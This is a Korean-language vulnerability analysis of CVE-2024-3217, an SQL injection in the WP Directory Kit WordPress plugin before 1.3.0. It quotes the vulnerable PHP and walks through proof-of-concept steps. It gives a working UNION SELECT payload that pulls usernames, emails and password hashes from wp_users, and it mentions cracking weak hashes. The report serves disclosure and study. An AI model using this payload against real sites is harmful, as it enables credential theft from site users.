[CVE-2024-3217] 취약점 분석 보고서
WP Directory Kit 플러그인 1.3.0 이전 버전에서 사용자 입력값의 불충분한 이스케이프 처리로 인해 발생하는 SQL Injection 취약점
개요
WP Directory Kit 플러그인은 사용자가 제공한 매개변수 attribute_id 및 attribute_value 에서 불충분한 이스케이핑 처리로 1.3.0 이전 버전까지 SQL Injection 공격에 취약합니다. 이를 통해 구독자 이상 권한이 있는 공격자가 데이터베이스에서 민감한 정보를 추출할 수 있습니다.
분석
\wpdirectorykit\application\controllers\Wdk_frontendajax.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if($table == 'calendar_listing_m')
$table = 'listing_m';
$table_name = substr($table,0, -2);
$attr_id = sanitize_text_field($parameters['attribute_id']);
$attr_val = sanitize_text_field($parameters['attribute_value']);
$attr_search = sanitize_text_field($parameters['search_term']);
$skip_id = intval($parameters['skip_id']);
$language_id = intval($parameters['language_id']);
if(empty($language_id))
$language_id = NULL;
$id_part="";
if(is_numeric($attr_search))
$id_part = "$attr_id=$attr_search OR ";
$attribute_id 또는 $attribute_value 매개변수에서 sanitize_text_field 함수가 사용된 것을 볼 수 있지만, 취약점이 여기서 발생하는 것은 아닙니다.
그 아래 부분 조건문 is_numeric($attr_search)에서 $attr_search가 숫자인 경우, “$attr_id=$attr_search OR “에 SQL query를 삽입할 수 있습니다. 그리고 작은 따옴표는 쿼리의 일부이기 때문에 이스케이프 할 필요 없이 직접 인젝션 코드를 포함할 수 있습니다.
1
2
3
4
5
6
7
8
9
$id_part="";
if(is_numeric($attr_search))
$id_part = "$attr_id=$attr_search OR ";
$this->load->model($table);
$where = array();
if(!empty($attr_search))
$where["($id_part $attr_val LIKE '%$attr_search%')"] = NULL;
쿼리가 만들어지고 $id_part에 저장되면 이 쿼리는 아래 코드에서 사용됩니다.
$where[”($id_part $attr_val LIKE ‘%$attr_search%’)”] = NULL;
이제 해당 부분에 도달할 수 있는 요청을 생성해 $attr_search에 숫자를 넣은 후 인젝션을 수행해 응답값을 확인해 보겠습니다.
POC
먼저 WP Directory Kit 1.3.0 버전을 다운받은 후 플러그인을 활성화 해줍니다.
Listings 메뉴에서 Add Listing을 클릭해 목록을 추가해줍니다.
각 필드를 임의의 값으로 설정 후 저장합니다.(저장할 때 네트워크 패킷을 캡처합니다)
요청 매개변수에서 attribute_id에 아래와 같은 쿼리를 삽입하고, $search_term은 1로 설정합니다.
위와 같이 매개변수를 설정 후 요청을 보내면 아래와 같이 value에 ID값이 1인 사용자와 사용자 메일이 반환됩니다.
이제 필요한 최소 권한을 확인하기 위해 쿠키가 없는 상태 즉, 권한이 0인 상태에서 확인해 보겠습니다.
쿠키를 삭제한 상태에서 아까 공격에 사용했던 매개변수로 설정 후 요청을 보냅니다.
그럼 아래와 같이 여전히 데이터 베이스에서 값을 가져옵니다. 이로써 최소 권한인 구독자 권한부터 취약점이 터진다는 것을 알 수 있습니다.
이제 wp_users 테이블에서 모든 값을 추출하는 페이로드를 생성해 보겠습니다.
ID=1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(display_name,0x3a,display_name,0x3a,user_email,0x3a,user_pass),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from wp_users– -
아래와 같이 쿠키를 삭제한 최소권한에서 $attribute_id를 위 페이로드로 설정하고, $search_term을 숫자로 설정한 후 요청을 보냅니다.
그럼 wp_users 데이터베이스의 모든 값이 추출되는 것을 볼 수 있습니다.
만약 사용자가 password를 간단하게 설정했다면 hashcrack 툴을 사용하여 패스워드를 알아낼 수 있습니다.